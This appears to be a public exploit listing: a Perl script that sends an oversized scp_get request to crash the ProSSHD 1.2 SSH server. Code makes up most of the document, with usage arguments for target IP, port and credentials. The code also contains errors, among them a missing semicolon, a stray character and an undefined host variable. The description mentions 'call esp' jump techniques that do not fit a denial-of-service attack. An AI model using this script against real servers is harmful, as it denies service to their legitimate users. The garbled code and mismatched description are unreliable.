ProSSHD 1.2 20090726 Denial Of Service

`#!/usr/bin/perl  
  
use Net::SSH2  
  
# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 13 january 2024  
# Vendor Homepage: https://prosshd.com/  
# Notification vendor: No reported  
# Tested Version: ProSSHD 1.2 20090726  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to SSH.  
#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {s  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "\t ==> Connecting to webserver... \n\n";  
sleep(1);  
  
my $i=0;  
print "\t ==> Exploiting... \n\n";  
  
my $payload = "\x41" x 500;  
  
$connection2 = Net::SSH2->new();  
$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";  
$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";  
$scpget = $connection2->scp_get($payload);  
$connection2->disconnect();  
  
print "\t ==> Done! Exploited!";  
sub intro {  
print q {  
  
,--,  
_ ___/ /\|  
,;'( )__, ) ~  
// // '--;   
' \ | ^  
^ ^  
  
[+] ProSSHD 1.2 20090726 - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port, $username, $password) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print "\n\tUsage: $0 <ip> <port> <username> <password> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
  
`